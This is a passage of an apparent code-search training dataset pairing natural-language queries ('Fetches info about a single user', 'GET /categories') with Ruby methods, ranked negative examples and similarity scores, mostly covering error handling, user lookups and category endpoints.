begin\n yield if block_given?\n rescue Exception => e\n logger.error \"IronNails Error: #{e}\"\n raise e\n end\n end", "def regardless(&block)\n yield\nrescue\nend", "def on_error(&block)\n @error_handler = block\n end", "def error(&block)\n @runner.set_error(@current_platform, block)\n end", "def error_handler(*args)\r\n puts \"1. Doing this, then yielding to the block\"\r\n yield\r\n # The following will run only if there wasn't an error.\r\n # Otherwise, we move straight to +rescue+\r\n puts \"3b. The block has finished running without an error\"\r\nrescue StandardError => ex\r\n puts ex.message\r\n puts \"4. If an error was raised, we retry this entire method, so ..\\n\"\r\n retry\r\nend", "def one\n too { yield }\nendbegin;1;rescue => e1;e1;end", "def protect_runtime_errors # &block\n\t\tbegin\n\t\t\tyield\n\t\trescue StandardError => e\n\t\t\t# keep execption from halting program,\n\t\t\t# but still output the exception's information.\n\t\t\tprocess_snippet_error(e)\n\t\t\t\n\t\t\tunload(kill:true)\n\t\t\t# ^ stop further execution of the bound @wrapped_object\n\t\tend\n\tend", "def on_error(&block)\n @error_logger = block\n end", "def handle_errors options = {}, &block\n begin\n yield\n rescue Exception => e\n name = caller[1][/`.*'/][1..-2]\n defaults = {puts: \"#{name} failed. See backtrace:\", and_return: nil, call: nil}\n opts = defaults.merge options\n if @logger\n @logger.message :error, \"#{opts[:puts]}\"\n else\n puts \"#{opts[:puts]}\".on_red\n end\n unless opts[:quite]\n p e\n puts e.backtrace\n end\n opts[:call].call if opts[:call].kind_of? Proc\n opts[:and_return]\n end\nend", "def rescuer\n begin\n yield\n rescue Exception => e\n # write to log files \n end\n end", "def log_exceptions\n yield\n rescue Exception => e\n self.exception e\n raise e\n end", "def refute_exception\n yield\n rescue StandardError => e\n flunk e.message\n end", "def each_error(&blk)\n yield value\n self\n end", "def catch_sftp_exception(&block)\n yield block\n rescue Exception => e\n @errors.push(e.message)\n DevOn::print \"SFTP ERRORS\"\n DevOn::print @errors\n raise e.backtrace\n end", "def ignore_raise\n yield\nrescue StandardError\n :raised\nend", "def retry_block(options = {}, &block)\n options = {\n :retry => 1,\n :data => {},\n :type => StandardError\n }.merge(options)\n \n retries = case options[:retry]\n when true\n 1\n when Integer\n options[:retry]\n else\n 0\n end\n \n types = [ options[:type] ].flatten.compact\n \n begin\n yield\n rescue *types => ex\n if retries > 0\n return self.send(__method__, options.merge(:retry => retries - 1), &block)\n else\n notify_exception(ex, :data => options[:data], :raise => true)\n end\n end\n end", "def execute_with_rescue\n yield if block_given?\n rescue Interrupt\n rescue_interrupt\n rescue => error\n log_error(error)\n end", "def capture(&block)\n if block\n begin\n block.call\n rescue Error => e\n raise # Don't capture Raven errors\n rescue Exception => e\n evt = Event.capture_exception(e)\n send(evt) if evt\n raise\n end\n else\n # Install at_exit hook\n at_exit do\n if $!\n logger.debug \"Caught a post-mortem exception: #{$!.inspect}\"\n evt = Event.capture_exception($!)\n send(evt) if evt\n end\n end\n end\n end", "def ERROR(&block)\n Then(on_eval: \"_gvn_error\", &block)\n end", "def run_and_convert_exceptions(&block)\n block.call\n rescue *self.class.expected_errors => e\n raise self.class.horza_error_from_orm_error(e.class).new(e.message)\n end", "def RESCUE(exception_klass, &block)\n fmt_err = ->err_cls { err_cls.ancestors.take_while { |mod| mod != Object }.join(' < ') }\n yield\n rescue exception_klass\n pass\n rescue ::Exception\n failure(\"Faced a exception, that kind of #{exception_klass}(#{fmt_err.call(exception_klass)}).\",\n \"Faced a exception, that instance of #{$!.class}(#{fmt_err.call($!.class)}).\", 2)\n else\n failure(\"Faced a exception, that kind of #{exception_klass}(#{fmt_err.call(exception_klass)}).\",\n 'The block was not faced any exceptions.', 2)\n ensure\n _declared!\n end", "def protect_runtime_errors # &block\n\t\tbegin\n\t\t\tyield\n\t\trescue StandardError => e\n\t\t\t# switch states first, in case extra messages need to be printed to contexualize the actual exception\n\t\t\tself.runtime_error()\n\t\t\t\n\t\t\t\n\t\t\t# keep execption from halting program,\n\t\t\t# but still output the exception's information.\n\t\t\tprint_wrapped_error(e)\n\t\t\t\n\t\t\t\n\t\tend\n\tend", "def wrapped_exception; end", "def with_error_handling\n return_value = yield\n @retry_count = 0\n return_value\n\n rescue PG::Error => e\n if recoverable_error?(e.message) && @retry_count < @max_retries\n @retry_count += 1\n sleep_time = sleep_time_for_error(e.message)\n log \"Failed with recoverable error (#{e.class}): #{e.message}\"\n log \"Retry attempt #{@retry_count} will occur after #{sleep_time} seconds\"\n sleep sleep_time\n retry\n\n else\n @retry_count = 0\n @error_occurred = true\n log \"An error occurred (#{e.class}): #{e.message}\"\n\n if @print_backtrace_for_all_errors || !error_backtrace_is_not_helpful?(e.class)\n log e.backtrace.join(\"\\n\")\n end\n raise e if @abort_on_error\n end\n end", "def catch_exceptions; end", "def action_wrapper\n begin\n yield\n rescue ::Rbt::Error::AuthError => e\n handle_auth_error(e)\n rescue ActiveRecord::RecordInvalid => e\n handle_validation_error(e)\n rescue => e\n handle_unknown_error(e)\n end\n end", "def f(&block)\n # The block is a proc.\n block.class == Proc or raise\n block.call\n end", "def ensure(&block)\n raise \"catch or each must be called before ensure\" unless @used\n block.call\n raise_if_failures\n end", "def handle_exceptions_gracefully\n\n begin\n\n yield\n\n rescue => se\n\n Rails.logger.error(\"Exception in API: #{se.message} trace: #{se.backtrace}\")\n\n ExceptionNotifier.notify_exception(\n se,\n env: request.env\n )\n\n r = Result::Base.error(\n internal_id: 'ac_3',\n general_error_identifier: 'something_went_wrong'\n )\n\n return render_api_response(r)\n\n end\n\n end", "def err *args, **kwds, &input_block\n capture(*args, **kwds, &input_block).err\n end", "def on_error &block\n synchronize do\n @error_callbacks << block\n end\n end", "def may_fail # block\n begin\n yield\n rescue\n end\nend", "def on_fail( &block )\n @on_fail_blocks ||= []\n @on_fail_blocks << block\n end", "def handling_kestrel_errors\n raise \"Needs a block!\" unless block_given?\n yield\n rescue KJess::Error => e\n check.critical(\"Error while talking to Kestrel(#{name}): #{e}\")\n end", "def execute_with_rescue(&block)\n begin\n yield block\n rescue Flickr::Error => ex\n self.error_messages ||= []\n self.error_messages << {:date => Time.now, :msg => ex.message}\n if ex.message.match(/(User not found|Invalid auth token)/)\n self.status = 'inactive'\n end\n self.save\n return\n end\n end", "def on_failure(&block)\n @handlers[:failure] = block\n self\n end", "def pass_exception\n throw :next_exception_handler\n end", "def header(&block)\n puts \"This is our hedaer\"\n block.call\nrescue\n puts \"This is where we would rescue an error.\"\nensure\n puts \"This is our footer.\"\nend", "def on_error(&blk)\n @error_handler = blk\n self\n end", "def catch_ssh_exception(&block)\n yield block\n rescue Exception => e\n @errors.push(e.message)\n DevOn::print \"SSH ERRORS\"\n DevOn::print @errors\n raise e.backtrace\n end", "def handle_exception(&block)\r\n yield\r\n\r\n rescue TypeError\r\n return Parsers::Message.invalid_type\r\n rescue Exception\r\n return Parsers::Message.unexpected_error\r\n end", "def recover_from(_error); end", "def keep_it_in\n raise \"rawr\"\nrescue\n # ahem\nend", "def parser_wrapper\n yield\n rescue ::Occi::Core::Errors::ParsingError => ex\n logger.error \"Request parsing failed: #{ex.class} #{ex.message}\"\n raise Errors::ParsingError, ex.message\n end", "def rescue_action(e); raise e; end", "def record_internal_exception\n yield\n rescue => e\n @internal_exception = e\n raise\n end", "def with_connection(&block)\n connect unless connected?\n yield\n rescue => e\n log_error(e)\n close(flush: false)\n raise\n end", "def capture_stderr(&block)\n old = $stderr\n $stderr = fake = StringIO.new\n yield\n fake.string\n ensure\n $stderr = old\n end", "def log_errors(code_area)\n yield\n rescue => e\n ::NewRelic::Agent.logger.error(\"Caught exception in #{code_area}.\", e)\n end", "def capture_error(tag, orig, load_key, dump_key, &blk)\n obj = blk.call(orig)\n raise \"#{tag} #{dump_key} and #{load_key} did not return the same object as the original.\" unless orig == obj\nrescue Exception => e\n @failed[tag] = \"#{e.class}: #{e.message}\"\nend", "def capture_error(tag, orig, load_key, dump_key, &blk)\n obj = blk.call(orig)\n raise \"#{tag} #{dump_key} and #{load_key} did not return the same object as the original.\" unless orig == obj\nrescue Exception => e\n @failed[tag] = \"#{e.class}: #{e.message}\"\nend", "def with_error_handler( handler )\n\t\toriginal_handler = self.errhandler\n\t\traise ArgumentError, \"%p doesn't respond_to #call\" unless handler.respond_to?( :call )\n\t\t@errhandler = handler\n\n\t\tyield\n\n\tensure\n\t\t@errhandler = original_handler\n\tend", "def on_failure(&block)\n apply_hook(:failure, &block)\n end", "def rescue_action(e) raise e end", "def rescue_action(e) raise e end", "def rescue_action(e) raise e end", "def rescue_action(e) raise e end", "def capture_error\n begin\n yield\n @error = all_output unless last_exit_status == 0\n rescue => @error\n end\n end", "def rescue_from(exception); end", "def propagate\n @propagate_exceptions = true\n end", "def on_error_in node_type, &block\n @exceptions[node_type] = block\n end", "def __force__\n @mutex.synchronize do\n if @result.equal?(NOT_SET) && @error.equal?(NOT_SET)\n begin\n @result = @block.call\n rescue ::Exception => e\n @error = e\n end\n end\n end if @result.equal?(NOT_SET) && @error.equal?(NOT_SET)\n # BasicObject won't send raise to Kernel\n @error.equal?(NOT_SET) ? @result : ::Kernel.raise(@error)\n end", "def rescue(&block)\n begin\n block.call \n rescue Exception => e\n self.catch(e)\n raise(e)\n end\n end", "def rescue(&block)\n begin\n block.call \n rescue Exception => e\n self.catch(e)\n raise(e)\n end\n end", "def method_missing(m, *args, &block)\n begin\n return super(m, *args, &block)\n rescue Exception => exception\n @exception_handler.yield(exception)\n end\n end", "def catch_exceptions\n begin\n yield\n rescue\n rollback\n raise\n end\n end", "def run\n return yield if turned_off?\n\n with_connection do\n if open?\n callback&.call CircuitOpen.new\n raise CircuitOpen\n end\n\n begin\n result = yield\n rescue Exception => error\n if exceptions.any? { |watched| error.is_a?(watched) }\n increment_counter!\n callback&.call error\n else\n reset_counter!\n end\n\n raise error\n end\n\n reset_counter!\n result\n end\n ensure\n reset_record\n end", "def with_reporting(row, target, &block)\n begin\n block.call\n rescue\n tgt = if target.is_a?(Watchy::Table)\n target.name\n else\n \"#{target.table.name}.#{target.name}\"\n end\n\n logger.error(\"Exception raised in rule <#{name}>\\nTarget: <#{tgt}>\\nItem: #{row}\\n#{$!.message}\\n#{$!.backtrace.join(\"\\n\")}\")\n raise\n end\n end", "def with_exception_handling\r\n yield\r\n rescue Timeout::Error => exc\r\n return { code: Scrapers::StatusCodes::BLOCKED_REQUEST }\r\n rescue Exception => exc\r\n @logger.error(\"\\n#{self.class} error\")\r\n @logger.error(exc)\r\n @logger.error(exc.backtrace.join(\"\\n\"))\r\n @logger.error(body)\r\n\r\n return { code: Scrapers::StatusCodes::INTERNAL_ERROR }\r\n end", "def watch_yield\n current = currently_loaded_files\n new_exceptions = Array.new\n begin\n result = yield\n rescue Interrupt, SystemExit\n raise\n rescue Exception => e\n new_exceptions << e\n run_hook :on_exception, e\n exceptions << e\n # cross-drb exceptions are broken w.r.t. #backtrace_locations. It\n # returns a string in their case. Since it happens only on\n # exceptions that originate from the server (which means a broken\n # Roby codepath), let's just ignore it\n if !e.backtrace_locations.kind_of?(String)\n backtrace = e.backtrace_locations.map { |l| Pathname.new(l.absolute_path) }\n else\n STDERR.puts \"Caught what appears to be a cross-drb exception, which should not happen\"\n STDERR.puts e.message\n STDERR.puts e.backtrace.join(\"\\n \")\n backtrace = Array.new\n end\n error_paths.merge(backtrace)\n if e.kind_of?(LoadError) && e.path\n error_paths << Pathname.new(e.path)\n end\n end\n required_paths.merge(currently_loaded_files - current)\n return result, new_exceptions\n end", "def try_soft_loud\n begin\n yield\n rescue => e\n puts \"PROBLEM!! #{e}\"\n puts e.backtrace\n end\nend", "def block_with_rescue(result_hash = {:result => false, :errors => []})\n begin\n ActiveRecord::Base.transaction do\n yield(result_hash)\n raise Exception if result_hash[:errors].any?\n end\n rescue Exception => e\n Rails.logger.error('*'*100)\n Rails.logger.error(e.message)\n Rails.logger.error('*'*100)\n result_hash[:result] = false\n result_hash[:errors] << 'Произошла непредвиденная ошибка. Попробуйте позже'\n end\n\n result_hash\n end", "def log_error(exception); end", "def continued_exception=(_arg0); end" ]
[ "0.6871378", "0.6762409", "0.6728202", "0.6627646", "0.6582039", "0.6582039", "0.6582039", "0.65709674", "0.64903224", "0.64901906", "0.64554197", "0.64539593", "0.643978", "0.641213", "0.6408639", "0.6383421", "0.63664514", "0.63662905", "0.6315504", "0.6315504", "0.6308859", "0.62969583", "0.62910354", "0.6264089", "0.6248386", "0.62417674", "0.62337244", "0.6229561", "0.6213045", "0.62071854", "0.6167054", "0.6166881", "0.6165219", "0.6153851", "0.61487836", "0.6146596", "0.61441535", "0.61188245", "0.61127937", "0.6094705", "0.6092073", "0.6089941", "0.6080817", "0.6079163", "0.6067003", "0.6049801", "0.60486066", "0.6043758", "0.60433567", "0.6013762", "0.6001477", "0.5994521", "0.59884787", "0.59850055", "0.5983204", "0.5977228", "0.5971527", "0.59515727", "0.5926022", "0.5920933", "0.5913604", "0.59026223", "0.58769786", "0.5876456", "0.5875991", "0.58708984", "0.58675086", "0.5865466", "0.58647674", "0.58504105", "0.5841421", "0.5839108", "0.5838181", "0.5833801", "0.5824657", "0.5824015", "0.5824015", "0.58199847", "0.58100545", "0.5807218", "0.5807218", "0.5807218", "0.5807218", "0.5797754", "0.57949704", "0.5791283", "0.5786022", "0.5775358", "0.5775309", "0.5775309", "0.5774239", "0.5773342", "0.57680196", "0.57672364", "0.5766992", "0.5763909", "0.5751006", "0.5750744", "0.5746756", "0.57436806" ]
0.6880621
0
Fetches info about a single user
def fetch_user(id) client.user(id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_user_info\n response = send_method(:get_user_info)\n user_from(response)\n end", "def info\n\t@user = User.find(params[:id])\n end", "def get_user_info(user)\n if user.respond_to? :id\n username = Digest::MD5.hexdigest(user.id.to_s)\n else\n username = user\n end\n\n begin\n url = \"#{DOMAIN}/#{ORG}/#{APP}/users/#{username}\"\n response = RestClient.get(url, \"Authorization\" => \"Bearer #{access_token}\", content_type: :json, accept: :json)\n res = JSON.parse(response.body)\n p res[\"entities\"]\n rescue => e\n puts e.response\n end\n end", "def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end", "def show\n\t\t@user = User.find(params[:id]) rescue nil\n\t\tif @user\n\t\t\tapi_response(@user, 'User Details', :ok)\n\t\telse\n\t\t\tapi_response(nil, 'User id not present in the database', :bad_request)\n\t\tend\n\tend", "def show\n @user = UserService.getUserById(params[:id])\n end", "def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end", "def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end", "def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end", "def retrieve(user_id:)\n User.new get_request(\"users/#{user_id}\").body.dig(\"user\")\n end", "def user(user_id)\n response = connection.get do |req|\n req.url \"/user/#{user_id}\", simple_params\n end\n response.body[0]\n end", "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end", "def user_info\n response = from_server \"api/user.json\"\n response.data\n end", "def show_user(id)\n BrickFTP::API::User.find(id)\n end", "def show_user(id)\n BrickFTP::API::User.find(id)\n end", "def show\n # loads one user in the database\n @user = User.find(params[:id])\n end", "def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end", "def show\n render json: get_full_user_details(user), status: :ok\n rescue => e\n log_and_render_users_controller_error(e, \"get user details failed\")\n end", "def fetch_latest_user_info\n\t\t@user_info = @client.execute(api_method: @info.userinfo.get).data\n\tend", "def get_user_data\n @user = User.find(params[:id])\n end", "def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end", "def user\n UserRepository.find(user_id)\n end", "def user(username_or_id)\n puts \"Getting Info about User %s\" % username_or_id.to_s\n begin\n u = @MT.user(username_or_id)\n string_data = {\n :name => u.name,\n :screen_name => u.screen_name,\n :location => u.location,\n :description => u.description,\n :url => u.url \n }\n user_data = {\n :id => u.id,\n :followers_count => u.followers_count,\n :friends_count => u.friends_count,\n :protected => u.protected,\n :listed_count => u.listed_count,\n :created_at => u.created_at,\n :favourites_count => u.favourites_count,\n :utc_offset => u.utc_offset,\n :time_zone => u.time_zone,\n :geo_enabled => u.geo_enabled,\n :verified => u.verified,\n :statuses_count => u.statuses_count,\n :lang => u.lang,\n :is_translator => u.is_translator\n }\n string_data.each { |k,v| v.nil? ? (user_data[k] = nil) : (user_data[k] = v) }\n user_data\n rescue Twitter::Error::Unauthorized, Twitter::Error::Forbidden, Twitter::Error::NotFound\n puts \"Suspended?\"\n nil\n end\n end", "def get_user(id)\n conn = @client.get do |req|\n req.url \"/api/v2/user/#{id}\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end", "def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end", "def user_information(username)\n response = get \"v1/market/user:#{username}.json\"\n response[:user]\n end", "def get_user\n @user = User.find(params[:user_id])\n end", "def fetch_user\n @user = User.using_client_shard(client: @client).get_from_memcache(@user_id)\n @user_token_sale_state = @user.get_token_sale_state_page_name\n end", "def get_info(user_name)\n uri = create_api_uri(@@base_uri, user_name, 'getInfo')\n return get(uri)\n end", "def get_user(id)\n @client.raw('get', \"/config/users/#{id}\")\n end", "def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end", "def show\n\t\tthe_user_id = params[\"id\"]\n \t@user = User.find_by :id => the_user_id\n\tend", "def show\n @user = User.get(params[:id]) \n end", "def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end", "def fetch_user(id)\n fetch( :user, id ).last_result_item\n end", "def info()\n get(:session, {:method => \"user.getInfo\"})\n end", "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end", "def get(user_id)\n get_request(t_url(:user, user_id))\n end", "def user\n user = JSON.parse(RestClient.get(\"https://api.discord.bio/v1/user/details/#{slug}\"))\n\n DBio::User.new(user['payload'])\n end", "def show\n @user = User.find(params[:id]) \n @user_me = retrieve_authenticated_user\n end", "def profile\n \t@user = UsersService.findUserById(params[:id])\n end", "def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end", "def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end", "def user_info\n\t\t@user_info ||= fetch_latest_user_info\n\tend", "def show\n if !params[:id]\n @user = current_user\n else\n @user = User.find_by_username(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def show\n\t\t@user = User.find(params[:id])\n\tend", "def show\n\t\t@user = User.find(params[:id])\n\tend", "def show\n\t\t@user = User.find(params[:id])\n\tend", "def show\n\t\t@user = User.find(params[:id])\n\tend", "def show\n\t\t@user = User.find(params[:id])\n\tend", "def get_user_data(uid)\n @conn.get(\"/api/v1/users/#{uid}\")\n end", "def get(user_id)\n User.find user_id\n end", "def user(id = 'self')\n get(\"users/#{id}\").user\n end", "def user(id)\n target = \"#{self.base_url}/user/#{id.to_s}/\"\n self.class.get(target, {basic_auth: self.auth})\n end", "def show\n\t\t@user = User.find(params(:id))\n\tend", "def user(user_id_or_url = nil, options = {})\n options = make_options(:user_id, user_id_or_url, options)\n get(options)\n end", "def profile\n @user = UserService.getUserById(params[:id])\n end", "def get_user_details\n\t\tid = params[:id]\n\t\tTheCityAdmin::AdminApi.connect(Rcplugin::CITY_ADMIN_SECRET,Rcplugin::CITY_USER_TOKEN)\n\t\t@user = TheCityAdmin::User.load_by_id(id)\n\tend", "def get_user\n @user = User.find(params[:user_id])\n end", "def show\n @user = User.find( params[:id] )\n end", "def show\n user_id = params.require(:id).to_i\n\n if user_id != current_user.id\n bad_request\n else\n @user = User.find(user_id)\n if @user\n success(body: @user)\n else\n not_found\n end\n end\n end", "def show\n # this finds the current user\n @user = User.find params[:id]\n end", "def getUser( user_id)\n params = Hash.new\n params['user_id'] = user_id\n return doCurl(\"get\",\"/user\",params)\n end", "def get_user(handle)\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/user/#{handle}\", nil, nil, false)\n end", "def show\n @user = User.find(params[:user_id])\n end", "def user_info(access_token:, user_id:)\n query = {\n user: user_id\n }.compact\n response = HTTParty.get(\"https://slack.com/api/users.info\",\n query: query,\n headers: { 'Authorization': \"Bearer #{access_token}\" })\n JSON.parse(response.body, symbolize_names: true)\n end", "def show\n \t@user = User.find(params[:id])\n end", "def show\n \t@user = User.find(params[:id])\n end", "def show\n @user = get_user\n end", "def get_user(id, &block)\n get(\"#{@base_url}/user/#{id}/json\", user_mapping, block)\n end", "def user\n Webmetrics.users.find_one('_id' => id)\n end", "def get_user \n @user = User.find(params[:id])\n end", "def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end", "def info()\n _params = {}\n return @master.call 'users/info', _params\n end", "def show\n\t begin\n @user = current_user.company.users.find(params[:id])\n\t rescue Exception => e\n\t\t redirect_to root_path, alert: \"This user does not exist.\"\n\t\t\treturn\n\t\tend\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def show\n @user = User.where(:username => params[:id]).first\n end", "def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end", "def show\n # finds user with id of params[:id]\n @user = User.find params[:id]\n end", "def show\n \t@user = User.find params[:id]\n end", "def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end", "def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end", "def show_user\n \tuser = User.where({:id => self.user_id}).first\n \tuser.name\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n end" ]
[ "0.78311265", "0.7762366", "0.7651086", "0.7634371", "0.7530107", "0.7524838", "0.74918705", "0.7440991", "0.7420561", "0.7377862", "0.73730254", "0.73653746", "0.73544115", "0.73365146", "0.73365146", "0.7333228", "0.73302364", "0.7320437", "0.7291734", "0.7289717", "0.7243566", "0.7229663", "0.7229298", "0.71924925", "0.71799123", "0.71700484", "0.7159798", "0.7129957", "0.7127818", "0.711749", "0.7116074", "0.7112142", "0.71120995", "0.7111277", "0.7108896", "0.71080554", "0.7097651", "0.70899594", "0.7085655", "0.7071321", "0.7066586", "0.70534986", "0.70522743", "0.704371", "0.7043638", "0.70424587", "0.70424587", "0.70424587", "0.70424587", "0.70424587", "0.7040835", "0.70390666", "0.703888", "0.70351607", "0.7033439", "0.7019924", "0.70157385", "0.7008009", "0.7003691", "0.7001414", "0.69913787", "0.6981996", "0.6978492", "0.6961474", "0.6953198", "0.69504166", "0.69476044", "0.69476044", "0.6946068", "0.6944189", "0.69436187", "0.69396406", "0.6935356", "0.6927922", "0.6926236", "0.69259804", "0.69247866", "0.6923396", "0.6922401", "0.6918819", "0.6910515", "0.6897632", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832", "0.6895832" ]
0.7795002
1
GET /categories GET /categories.json
def index @collections = GoodCategory.all @items = Good.all.to_a if params[:id] if params[:id] == 'main' @items.select! { |i| i.on_main } else @collection = GoodCategory.find(params[:id]) @items = @items.delete_if { |i| i.good_category.select { |c| c == @collection }.empty? }.sort_by{|g| g.category_good_weight } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend", "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "def categories\n get('venues/categories').categories\n end", "def index\n categories = Category.all\n render json:categories\n end", "def get_categories()\n\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@categories = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\t\treturn @categories\n\tend", "def getCategoryAll()\n params = Hash.new\n return doCurl(\"get\",\"/category/all\",params)\n end", "def get_categories_list\n args = receive_should_validate?\n get('redtube.Categories.getCategoriesList', {}, [], args[:should_validate])\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n\t @categories = Category.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @categories }\n\t end\n\tend", "def index\n\n\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def get_categories\n @categories = Category.all\n end", "def index\n @categories = Category.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def categories options = {}\n perform_get_with_object(\"/categories\", options, Vimeo::Entities::Category)\n end", "def index\n @categories = Category.all\n @categories= @categories.sort_by(&:name)\n render json: @categories\n end", "def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend", "def categories\n parsed_json['data']\n end", "def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end", "def categories(params={})\n return @categories if (@categories && !params[:force])\n @categories = get_categories\n end", "def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end", "def index\n respond_to do |format|\n format.html { @categories = Category.all }\n format.json { @categories = Category.order(:name) }\n end\n end", "def get_categories(query_obj=nil)\n uri = URI.parse(@uri + \"/Categories\")\n results = get(uri,query_obj)\n end", "def getCategories(_, _, _)\n @db.categories\n end", "def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def all(params = {})\n handle_all_request(\"/categories\", :categories, params)\n end", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_search'] = opts[:'filter_search'] if !opts[:'filter_search'].nil?\n query_params[:'filter_active'] = opts[:'filter_active'] if !opts[:'filter_active'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_categories(add_params = nil)\n params = {\n }\n api_call('/global/categories(.:format)',:get,params,add_params)\n end", "def categories(args={})\n res = api_request('private.request.getCategories', 'GET')\n res = JSON.parse(res)['category'] rescue []\n\n unless args[:include_deleted] and args[:include_deleted] == true\n res.reject!{|k, v| v['fDeleted'] == '1'} rescue []\n end\n \n return res\n end", "def show\n render json: category\n end", "def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end", "def get_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def index\n respond_with Category.all\n end", "def index\n @categories = Category.all\n render :json => @categories, :except => [:created_at, :updated_at]\n end", "def index\n @categories = CategoryService.index\n end", "def show\n render json: @category\n end", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CategoriesApi.get_categories ...'\n end\n # resource path\n local_var_path = '/categories'\n\n # query 